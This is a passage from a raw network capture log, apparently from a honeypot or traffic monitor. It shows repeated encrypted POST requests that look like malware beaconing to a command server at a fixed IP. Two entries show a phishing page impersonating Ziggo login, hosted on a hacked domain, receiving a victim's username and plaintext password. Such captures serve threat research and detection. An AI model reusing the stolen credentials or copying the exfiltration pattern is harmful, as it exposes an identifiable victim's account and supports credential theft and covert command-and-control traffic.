  4660. [02:54] <HTTP> Cache-Control: no-cache
  4661. [02:54] <HTTP> I2oXjpFtA+i8APmmIt3Wn1nnlnLJz0XxhBSHIbZvGSb3S4pu4e7ld1ZPEoniYrtSY+U5IY2PpdE+lPo7FRdRD3Mm0fdxPRK9UAlEwX6Y9tKIgPVh6XeZfmDR1j/zBd3d1DdPj2YIphulUVVSypSXbVM3bpO5WzgLRY9JfM5nmDEjnnPDTjggJKezOf/1qXkP8DYQNaL/stFCyvoHDahH5erqvEJvw1JgV1ZsAvDqrh5E9Q/xDaLn1bd+dY53fo3d5LPrQ6Kz0ygxAsyjtBC4kYCdDCf4ajrmaliRXFnX7aqSy4/ZYCXrTryloLPfQyRNi/1tteK6XDL7se3+ATj5etn0gRS0/3WMnHwXUPmLefGvOpoasREDokcY+AFngvlB3A0j+LdVIhqRU1
  4662. [02:54] <HTTP> 3txHo6qrnTW7U=
  4663. [02:56] <HTTP> Socket initiated: 203.87.133.143
  4664. [02:56] <HTTP> POST / HTTP/1.1
  4665. [02:56] <HTTP> Content-Type: application/x-www-form-urlencoded
  4666. [02:56] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4667. [02:56] <HTTP> Host: 172.86.120.218
  4668. [02:56] <HTTP> Content-Length: 376
  4669. [02:56] <HTTP> Cache-Control: no-cache
  4670. [02:56] <HTTP> dWxEjZVtV4hKXMibdGnbMattg1IOpvuWDFKdHoRc4UzYOpGWyyt2E8lMmhtc93f/3KS7/AudlcS2DkiMWpw1LUjoR8eqM1OxFcm4TvCGi/aOFDFOW4P5GyOFOdGyRpKozPbFVCJTVX5tgQ33jAsmifVraucwsSFqNM6IHUYE08tQ7X3qnLaPz680okPq4fF/xbLykJ2kcWNrGsGmFSn9MBLGzi5KSUAhNNPYzj8ojLDPk5FsDiLKVrkXh13R5pn9b73ucQ5iG35swfiIXmq31VXviIJxThiH1YvNSnc+4RxcvFyCiV2uqTliHlZrMsM55BzFNaIjr5Tdzo+vRtKMMfrujmhnRSJgzhJiZYae4BOzbzHNXvUBXR/L
  4671. [02:58] <HTTP> Socket initiated: 203.87.133.143
  4672. [02:58] <HTTP> POST / HTTP/1.1
  4673. [02:58] <HTTP> Content-Type: application/x-www-form-urlencoded
  4674. [02:58] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4675. [02:58] <HTTP> Host: 172.86.120.218
  4676. [02:58] <HTTP> Content-Length: 360
  4677. [02:58] <HTTP> Cache-Control: no-cache
  4678. [02:58] <HTTP> eT9Fi5Y7AOzaL5ToCdHDiRjHJkT0DXds4DUysuyGCReclK9FO/dT1JQzOXbc2Hgf83EzqNH6LwgG8se8ucI0wXvbRUK7+tLdaZOEQUEnWuN4qemM+mg0E4YXtRxWIcvltpshCIRHqicfZwWDmDSATbkvlA1qjD297HB7jEasaafOtSAdUWenKEkVhx4TWIPVKAQ91A8t4PrSFnscFBa0EddRaTYDNkndrtcSpC+j8lWR99AUanzSMLEutoCSQHuQXXoOkw5SdYgsEchw1f/IsXqXUNauyndaGJED4LkoSptZGJsdniFS2bTE9YdJ7UHKRQK8b+VZrBTmwWNpbUb1doutL0vbcznDv3qFsQ==
  4679. [03:00] <HTTP> Socket initiated: 203.87.133.143
  4680. [03:00] <HTTP> POST / HTTP/1.1
  4681. [03:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  4682. [03:00] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4683. [03:00] <HTTP> Host: 172.86.120.218
  4684. [03:00] <HTTP> Content-Length: 404
  4685. [03:00] <HTTP> Cache-Control: no-cache
  4686. [03:01] <HTTP> IW5BjZJpBU+bSXLVhXMlnqA52JaIZ133xx1JcGnxu8Pm1DNnHgsZiwHzskq9dOi9HJKV2gyGw/HpDLofjQxyEYXDW6HjWeIcAPpW4Tt12DInwbp/0+7Loq8zZG7j4D5lbMqjrqzZ68Tr1d+LasXPT+t0+dZqM/n41NfIKfqmiBdOAIUw4ATXokIFvqToA/e62OZiuIlZ+3nZ7CjFlKexyjeMYDOKFkWFjyTEoOHGesFnK3gV0tRpPIDxawPHK3d56MqAgGJjga1iZhCDmujMlKWvxFWJ1kMEbE9IVjZjaYYwPuAe8xHz7079BFwESJVjUSreheodTZ2dT13f53ngsjrWaI/ECVGfaSwaqYddYqW1SRrv5cffsspMPJjtbKjvkH7oXPM4ni4cXEMs9A==
  4687. [03:02] <HTTP> Socket initiated: 203.87.133.143
  4688. [03:02] <HTTP> POST / HTTP/1.1
  4689. [03:02] <HTTP> Content-Type: application/x-www-form-urlencoded
  4690. [03:02] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4691. [03:02] <HTTP> Host: 172.86.120.218
  4692. [03:03] <HTTP> Content-Length: 420
  4693. [03:03] <HTTP> Cache-Control: no-cache
  4694. [03:03] <HTTP> dDwXjJM7Ug9RTcYyfx+mv0NECHi8gMMZslz1ds+36QI007xCumuo4wePAN/Ftcx62IgfTV023F/5xIq4VBT47QPUcd5Yx0IbziVjgxNzWh/H68HNwLPPqjYpaFMRhbiZFF+C5AapA5xl0YMDGFLmp5/q/dPIWMJni0scgYJVgN3TShT3XjfGDPT05UMhGcwny5sWFbjryzEZ/13fM95RFkIDaVsZfGOcuRCVJV4cYwSGKoeNu7GNnl01ZwSMqnNOXjZamXJKkpR4Akb5aC4C4WRRNK71sl+Bu9nShN96o+SX0m9eUmnWN90NuJ2c523mwvGH7qBkBzGQ69NZYA9Cu6zQABWvM8XPa3fCtwVBm88X4ylNUbtOCHes76USbn14vd+pR/5V/l7zWw
  4695. [03:03] <HTTP> TX+1mbuEtqTMwvgf+44A==
  4696. [03:04] <HTTP> Socket initiated: 203.87.133.143
  4697. [03:04] <HTTP> POST / HTTP/1.1
  4698. [03:05] <HTTP> Content-Type: application/x-www-form-urlencoded
  4699. [03:05] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4700. [03:05] <HTTP> Host: 172.86.120.218
  4701. [03:05] <HTTP> Content-Length: 352
  4702. [03:05] <HTTP> Cache-Control: no-cache
  4703. [03:05] <HTTP> dj1Hipc9WFNcpl/LqgRvaioy/SU9T1IteX79SB80046LeCRsLsWxRJrvQ9mvDYB8LBeoWlxP0854nkU+BtEcVv3pe2q32xH+wYd97i1DFzAlMBqbqLCG0eYK/VUKLdFXg+R6jdeIL162DTBMU8KRRNey7bZfe+hiP/Ge4muyfKU8rRZkciEFNzbunq35yuljpSs9IQEZ9oEjlYcuFvHXn07CQSHhR1kS45WufLc40DSZqaedOpqio19xg1PfuJXYF+8BbWn2/2K3YD0ZTJtwX5XKr8wZFrZvizAMnrZps+cks1Eg1sRNe+PkzbmsZrtsq9bi94GtrgbmAm2UHA3UtLpKo+HNbbp8
  4704. [03:06] <HTTP> Socket initiated: 203.87.133.143
  4705. [03:07] <HTTP> POST / HTTP/1.1
  4706. [03:07] <HTTP> Content-Type: application/x-www-form-urlencoded
  4707. [03:07] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4708. [03:07] <HTTP> Host: 172.86.120.218
  4709. [03:07] <HTTP> Content-Length: 424
  4710. [03:07] <HTTP> Cache-Control: no-cache
  4711. [03:07] <HTTP> dj5GisA6UBZ6XBBP99bv05MTCMjwUZuUyDL1/M3wHgkSxo+8HJJJYl71MxPM9CfNYpO66We2hrVG5MSUYSz6BTgBaEsW8tRHuBGcfvqmjkz5s8CXJtGwackNpjYeHTYEh2aFscQBgQLMUlU3R++rWqa37Rk25pNPC8zm5h7cIDyG9VoAk9gRcBVR3zO+Vv/McH+HEqe91uAeu+3IaF8RFylCc0SWhSKZWwlNvsu2O/3Q++F46DEtWQ8FNuTv2o44VA3nJdCLUe9kx0u5rMnI07iMi9+BxbJPbChctEDVhSIlx+8ey0DrmR1F9vMP+o5WndBd8kKJFHZ+pRCMHey/gZNROltdVBbHeNdk5Kz2B0eF2edx2ZFVExNg+9HLoF8dV5uhQMY6dtcYiF
  4712. [03:07] <HTTP> Luqr6F35O6KFMCHvWzdqfKlJ0=
  4713. [03:08] <HTTP> Socket initiated: 203.87.133.143
  4714. [03:09] <HTTP> POST / HTTP/1.1
  4715. [03:09] <HTTP> Content-Type: application/x-www-form-urlencoded
  4716. [03:09] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4717. [03:09] <HTTP> Host: 172.86.120.218
  4718. [03:09] <HTTP> Content-Length: 380
  4719. [03:09] <HTTP> Cache-Control: no-cache
  4720. [03:09] <HTTP> JDoW2sRqU0BHuqPQNyg1PqH1d9l73poQ+V/BY5n4G3WmhO+cxOFgUwoAoLF8WnGEWT9JpbPKUc6arebFemm6jaou+aAzQpgcQl6d6y4enSbfJAJn5FaCDmk14E+FwSDQdnoync391kfNqxMkEZXflpfYUdNi5F7P7t+U9lq2AqAf0BdbzXeVQlOGf9maNbEG4hgRptxNB0TjY/l9HMIlaRppV2BEZVWVPz0kGugXYNNArXGLuDXmB9iCFa7jScCS/OZb0aTprRM1+MC0MXxYlecnEeydUPaXWx2/H0WcQ9FrBhRxckJGHFvAJnmcrtGBsazNcJTKgAvcu/W0lKK3obs+KDdzQRgdqChJawtB0+4CPtfDFFzJwesr2g==
  4721. [03:11] <HTTP> Socket initiated: 203.87.133.143
  4722. [03:11] <HTTP> POST / HTTP/1.1
  4723. [03:11] <HTTP> Content-Type: application/x-www-form-urlencoded
  4724. [03:11] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4725. [03:11] <HTTP> Host: 172.86.120.218
  4726. [03:11] <HTTP> Content-Length: 348
  4727. [03:11] <HTTP> Cache-Control: no-cache
  4728. [03:11] <HTTP> cDlNj5JtVCa8BPT4KTcCEFThpZyP2FzPNNS5790Zjpm2rHcLg/OyUBkHqi2u+u8FXird3TZoTiFYlxx6bfilnjgjnmQzUMwKJoLM3gVUMHQErDDRdt2L0lrWi1Y+asYRgD/1EhsI4viwtL2D0in29PydFqjUVc0VJb/Bz/JKydkcUgk4tWafWuXTYnz8pPhno2K4LJeguehAvEZfiOSqMO432NbaWVqzPq+KyN+1F6zZzlzuTBAT+HOBSYdbBS2nJ/WqeO5wsztu7apzx66yFFiHn7zPAIOZoqt9iQIQST9QLfqD4I72VR4l8s0dhC/PZXJVdvfdPus/L9WnUhqtdRGB1Xuu
  4729. [03:13] <HTTP> Socket initiated: 203.87.133.143
  4730. [03:13] <HTTP> POST / HTTP/1.1
  4731. [03:13] <HTTP> Content-Type: application/x-www-form-urlencoded
  4732. [03:13] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4733. [03:13] <HTTP> Host: 172.86.120.218
  4734. [03:13] <HTTP> Content-Length: 380
  4735. [03:13] <HTTP> Cache-Control: no-cache
  4736. [03:13] <HTTP> dG0XisNrVvF5D6sZFpR70+EDNBt2VeHWDqCx78hgAM3Ri9GLpbuRrRJoDh/X0O5UO20fV69WxBnJjsyF40L78W4svbJhAuCLm7Lhhv8A/znFGTo9Qy7NKGKsfZrhCgGfQA8kMhi2mTsRwRsFeVlUmha+492zPw169E0577G4+nfbTaqv4CMQeaQDCvPTF41VII9kVxrEic60oqzr1nPSS4z7SpsEIvuCBTnsSusvPRT/WUGGhcQpDmkYFoDQUCq4eIIUISXX11hv0fou8H6h6Hfi+vQ7ta9fd1dMc4M1rBd/CFUvZY/h7Auhwyyj+ggcFljkMXpXMQ8B677CIMl9ibtCcnJkEkXl4Duuet1WsCRW0ZcQkDQaeMz9ccdx
  4737. [03:15] <HTTP> Socket initiated: 203.87.133.143
  4738. [03:15] <HTTP> POST / HTTP/1.1
  4739. [03:15] <HTTP> Content-Type: application/x-www-form-urlencoded
  4740. [03:15] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4741. [03:15] <HTTP> Host: 172.86.120.218
  4742. [03:15] <HTTP> Content-Length: 384
  4743. [03:15] <HTTP> Cache-Control: no-cache
  4744. [03:15] <HTTP> IjsV2pQ4BYFlTevqHw7vfm2hfAGllZkMV1wy1gtRWkwySDH6d1HameKbN0XZ9KdHfJBo2izPEew7HINNGIuUvTgnB/6rtuBpQ5Rh6fp9x1dwXHzqp2nWLLxFT1725KctoBFPXqs+3+SVb4iPwP5z6/ga3BprDwHwqVnh0yFieg8l5wUESMfEigUfLZhsAtyLnKqOhU9A5d7MmQzT4j7A00ojQBT9vXkGrUB7RvFpMdCgNGPl/9mePfDGtUHwTKsM+wnY73EE8fPwFcEc71KdyG2spnRWWg8+G4KjV4n6XENDQVH8gag7ZILsMj8dwI8EkSNZEdyz6iELsG14WU0ixje3VTZKf2AQGmw6b5TgsA9YKAaDRUtOEeNxsi8ferE=
  4745. [03:16] <HTTP> Socket initiated: 84.106.89.178
  4746. [03:16] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  4747. [03:16] <HTTP> Host: ziggo.nl.hacked.jp
  4748. [03:16] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  4749. [03:16] <HTTP> Content-Type: application/x-www-form-urlencoded
  4750. [03:16] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  4751. [03:16] <HTTP> Accept-Language: nl-nl
  4752. [03:16] <HTTP> Accept-Encoding: gzip, deflate
  4753. [03:16] <HTTP> Origin: http://219.93.200.189
  4754. [03:16] <HTTP> Content-Length: 114
  4755. [03:16] <HTTP> Connection: keep-alive
  4756. [03:16] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G36 Safari/601.1
  4757. [03:16] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=versaevel60&userId=versaevel60&password=Sodexo1953&button=
  4758. [03:17] <HTTP> Socket initiated: 203.87.133.143
  4759. [03:17] <HTTP> POST / HTTP/1.1
  4760. [03:17] <HTTP> Content-Type: application/x-www-form-urlencoded
  4761. [03:17] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4762. [03:17] <HTTP> Host: 172.86.120.218
  4763. [03:17] <HTTP> Content-Length: 344
  4764. [03:17] <HTTP> Cache-Control: no-cache
  4765. [03:17] <HTTP> JTwXiJFtV+HEtEdqW4kpLKWpWFqR0zLsDAlp6u3ORHxZ48rkNC5F3enzKN9N3r0xL7JonZ9zE0AXDmeFyQ+4MDKLHC6/NkqhXu2BQDN+/dtrmU3wlY+4uCkHe16++lS/e1uEjTLnzQkoNsMCgnJ6FSFlP7c7HUvvhhhnn5KJEjfwi7fbwe3fJVDsd5CDveRpEX2UWfFGklaQY3YwjwLMZh/KM0swKTFHpm1B/0yjM5IbGNEVrApz3I0EZvlZ3aPl0wggI4hKW7p3PKF+M7REVwVWCMIDcLk5YeEFqB+PAUwSwt0QA2JrJbWD78hdTiD0xLkYClloWcr+OkeFn2aIXpM=
  4766. [03:19] <HTTP> Socket initiated: 203.87.133.143
  4767. [03:19] <HTTP> POST / HTTP/1.1
  4768. [03:19] <HTTP> Content-Type: application/x-www-form-urlencoded
  4769. [03:19] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4770. [03:19] <HTTP> Host: 172.86.120.218
  4771. [03:19] <HTTP> Content-Length: 348
  4772. [03:19] <HTTP> Cache-Control: no-cache
  4773. [03:19] <HTTP> cm0Wj5Y9B5T6F3j1QjxeC5wb6JxT7W32VFuxB6HFEGBXDSEmVHpqWP9PXM4PS/F26a3wum+mkDcLC+ygX7Dr9ZgR0HLmqmmkBtUgVzyp3ue5l25ByvVY3pZ9bQlEK33TfVMe94yUdiw3If9S7TlEFJGY+rwlVNM43s/k5h0EL8THhqOs6M0oIAWMcG3ORz8ncsBq46dVuvUp+lkRvKgi60EwftiXG5syp4hz+EYMX9dlCXK9IzPjRO84+Ij7w/4pVkMVcOrbkWhaw6yX8GO5IC9/7oYMviM5KFHAjPylpnfRfLlKmLeQb4G5CzDqlTBbcX5pdP40hY7yUvbAO7rrfemupBA=
  4774. [03:21] <HTTP> Socket initiated: 203.87.133.143
  4775. [03:21] <HTTP> POST / HTTP/1.1
  4776. [03:21] <HTTP> Content-Type: application/x-www-form-urlencoded
  4777. [03:21] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4778. [03:21] <HTTP> Host: 172.86.120.218
  4779. [03:21] <HTTP> Content-Length: 392
  4780. [03:21] <HTTP> Cache-Control: no-cache
  4781. [03:21] <HTTP> dWxNiJ45VxIXczPL5z/fwGBdiAi/2077szw92et3oOt8znF2D2JDvLQDweyBEaODQTP7YxluHtFpUjmdhARhK7XZrxVqcwds7WLKVrJpxm4pCEpYSxfOCsr3twr9rZi7mvD08bkQroy7F3IFcARlQgEGSIlRuxXpYKZvWfArp5eCjPQ+94poIPJciQ2z3+BTQMYs20HALTBm5/8225qs+WVYVOAX9WU8odlmyTwKVyPnS0jJaYeys1McDsDCKVXXqKRNvnhO6gh08FxzPq1KrEwqFGPt0jIC4iCJdfOUrE076aT3LwM0piAHh6lSGdguDYXa6Mt9SjM1sYGBH3RQFWQXoFyYhIN/tw7H7j9paTEPt8sOatWE5iRND5d9dk/3xmhypw==
  4782. [03:23] <HTTP> Socket initiated: 203.87.133.143
  4783. [03:23] <HTTP> POST / HTTP/1.1
  4784. [03:23] <HTTP> Content-Type: application/x-www-form-urlencoded
  4785. [03:23] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4786. [03:23] <HTTP> Host: 172.86.120.218
  4787. [03:23] <HTTP> Content-Length: 348
  4788. [03:23] <HTTP> Cache-Control: no-cache
  4789. [03:23] <HTTP> cTBGipNrWBjntXLI3fo/R/buGhdgt6EKYc8tqqirwzr6SY3WGePZuvZ5UNHA/0I5B1HKKNb4az+1JVZmX5iWp1+d+WJX7vb/5CQEcXRf1zZ8szHcP+V5AENCsi3f1QegQLT2z2mvbuVLXw02dyIeLU+etejM2BHv9VJh7iNcyvYUHuaJgLepxqtjen48Kj/oYiWJrg0epw4gQCzYHNUnSF4pNXzwZgNZmqWrUgUhra7BLt/JyB/GyTnWKGfybQ88g71czBfJggyshI11vmqJPuOOdQGT2Ydf47s054i3CJ9duurMJvpEeM2DFOb7ZIq9ZQmWBUOHcSaJu98ZgNHbNqziAio=
  4790. [03:23] <HTTP> Socket initiated: 84.106.89.178
  4791. [03:23] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  4792. [03:23] <HTTP> Host: ziggo.nl.hacked.jp
  4793. [03:23] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  4794. [03:23] <HTTP> Content-Type: application/x-www-form-urlencoded
  4795. [03:23] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  4796. [03:23] <HTTP> Accept-Language: nl-nl
  4797. [03:23] <HTTP> Accept-Encoding: gzip, deflate
  4798. [03:23] <HTTP> Origin: http://219.93.200.189
  4799. [03:24] <HTTP> Content-Length: 114
  4800. [03:24] <HTTP> Connection: keep-alive
  4801. [03:24] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G36 Safari/601.1
  4802. [03:24] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=versaevel60&userId=versaevel60&password=Sodexo1953&button=
  4803. [03:25] <HTTP> Socket initiated: 203.87.133.143
  4804. [03:25] <HTTP> POST / HTTP/1.1
  4805. [03:25] <HTTP> Content-Type: application/x-www-form-urlencoded
  4806. [03:25] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4807. [03:25] <HTTP> Host: 172.86.120.218
  4808. [03:25] <HTTP> Content-Length: 384
  4809. [03:25] <HTTP> Cache-Control: no-cache
  4810. [03:25] <HTTP> Im1M2ZYwUwes7qi21I1X0elSvrxCS8Jw3j9EXUCFQDggvFVl3xE2xvzkhAcCRUJD+MMk0ZKnU6LKUTrl2MXkhf6WRVMrDTv3otivLRfff8Q4yJa7BxEOniP9PW2COE9JzjciUMGQ5xgZspiT0p+fMg/seOnWnB4BGf/sTI3Bmy5b9ORkSbOWFHewOfGf8RWzS/uM5/qWrsId8isLZs8aPI3jZWwcR0jQttVXwH/ATU3PMi4EwyR/OCiw8emCnihW8hHG34EU1fSUKcCrXZ0gJD3nJQmck1nFabhov6zApkbdxJUQJVwzZ4tMK5ewyOmqvuEgBf1KrXC3pmqEuyYNUjMUVC4BKDFCiQfb7vh5ZNXkG518hhHV3OJAv+G1Hg==
  4811. [03:27] <HTTP> Socket initiated: 203.87.133.143
  4812. [03:27] <HTTP> POST / HTTP/1.1
  4813. [03:27] <HTTP> Content-Type: application/x-www-form-urlencoded
  4814. [03:27] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4815. [03:27] <HTTP> Host: 172.86.120.218
  4816. [03:27] <HTTP> Content-Length: 348
  4817. [03:27] <HTTP> Cache-Control: no-cache
  4818. [03:27] <HTTP> JDES3JBsV0+3roWZ/ts3gLN+ronnTMQVigiVUSocQC5oCxGJfaImJ+8WCIKMdiWaAV5SyId7eXSEullTqnDA7ZDVvDaXRgNaDzqa43lcOH8x4L/ly0N+AX2+S3cf/tTEtG9GfGZ7UmN0ICxcDcxX1wEdlT5Q9J0Ms1EIlrLnnP4Q9fVC50LcsJdVRTYuPOf+QScP3FwVtmlg6iRhPGTeRAQ0O31p8JKrc9w31HY64SpRw9mornfHveWMuKdA38YrZKXFeHrNaeZMKc9mTDCxv2fdPrmiZUP5sS7mvQbHyuSL1m9V7WwTsVeWNN2lgAydoeYgVSMypl1TdAYi+51XkpMh1w==
  4819. [03:29] <HTTP> Socket initiated: 203.87.133.143
  4820. [03:29] <HTTP> POST / HTTP/1.1
  4821. [03:29] <HTTP> Content-Type: application/x-www-form-urlencoded
  4822. [03:29] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4823. [03:29] <HTTP> Host: 172.86.120.218
  4824. [03:29] <HTTP> Content-Length: 412
  4825. [03:29] <HTTP> Cache-Control: no-cache
  4826. [03:29] <HTTP> eTBD3ZNrVv9ZHmcQtIWZJn8Tg7F2g2mQobOYRoIp+uDFR5g9Lkgju8hvo1s20nj/ZyMr+fyee6Wem0qSOqv/UFx93dwnwc+D22fFyALS4JIY10UWXQaRIWCfDBukP7nskyhdknMDiF0jXQPJqh2eV9dmn3pBtELBdJJNMJxeHim1Ev3hB+yaKVmiWGDGXgbUJP74ZjovGVF/pxFyiJbqI/cFNUgzgdL6KwdCzNnMFHKLshyTGWf1jHDYWlIe+w2voUiuE3SXRPnnTOkoB3PD21TXdRZWyhvBVsVDH3TmTeXmOmicTLuh9oUyTcrguQr+steDZEOMVypUIx7pYoYR4aZDLbspiYsK/7vMXfF9Phhu+x/YoUzb7YYokKBk0U//2k0GGQ6bBHyk9E
  4827. [03:29] <HTTP> 9jCc4unR059w==
  4828. [03:31] <HTTP> Socket initiated: 203.87.133.143
  4829. [03:31] <HTTP> POST / HTTP/1.1
  4830. [03:31] <HTTP> Content-Type: application/x-www-form-urlencoded
  4831. [03:31] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4832. [03:31] <HTTP> Host: 172.86.120.218
  4833. [03:31] <HTTP> Content-Length: 372
  4834. [03:31] <HTTP> Cache-Control: no-cache
  4835. [03:31] <HTTP> Ij1G2cI8UZMcXfr/gOqmubfnL+XTkrIAVBS6cxJKuvY4UcWTEPiWlBEyTYBsBLG+wV4tU46RawzM46b7alid8Btqt7clUCbpfjFCnXKpZJBYbAhOwAR66/t+gHkHvRQlHaYz+eTCOCBMggWS4VOfrup0hNjBGD0Elqh93EfQdXg6XzaeUNMwavfiPAVqU8nvTy9vroUWjTOrdRaVtMdNl9BB8lC2qyE8cCacs9WI08iATcYxLLzlJaPZymOUANu9gk6IS3UPggbi2VZeIuumJOki4UJ+HVwsqkvWiX/W01QipJ+liiqJdKzU1z+hQM2qy26XjJfoRgwUmbIu/zzX134mshhd1T1u6WWw1B29xZg5uToFCA==
  4836. [03:33] <HTTP> Socket initiated: 203.87.133.143
  4837. [03:33] <HTTP> POST / HTTP/1.1
  4838. [03:33] <HTTP> Content-Type: application/x-www-form-urlencoded
  4839. [03:33] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4840. [03:33] <HTTP> Host: 172.86.120.218
  4841. [03:33] <HTTP> Content-Length: 420
  4842. [03:33] <HTTP> Cache-Control: no-cache
  4843. [03:33] <HTTP> JTgSiJc4AK9HEr7E4Ibu7oTAQAGKRHtOx6oq6g1yWfe9k4lKherYVWE+N0i/a7jgFhCmNefaEfu8SXA3hPQqCZvcWb++paaGajpbLfNCIu/xeHO6PuWXaL/+LzArAQFWE7bPOkJH7EudhebaX9j7pkZ4Ns8F2hx5InKLEqK5zJvuZGrYvfF3kAoN/icPSQ+mG3X0FkKtXSPTC0PQvpq1fa7EXfR9kNHqBWb8otCWmKHKysE9NoN69INivyasxagY738WCMq2jiswxPiNhkzq2PyJASBwurA/pNKiEqtNaV0db9yv2DNtrX5i0QIPAOLIf5GMCLm6rGwrx9PaWUZeUkCDapYANVoUBtSNsGOT2+bwBv0CsdEDpi3zMMe84xKq592oUCSVRnim8Q
  4844. [03:33] <HTTP> pUJ04020hPbpo1oLdVazKi
  4845. [03:35] <HTTP> Socket initiated: 203.87.133.143
  4846. [03:35] <HTTP> POST / HTTP/1.1
  4847. [03:35] <HTTP> Content-Type: application/x-www-form-urlencoded
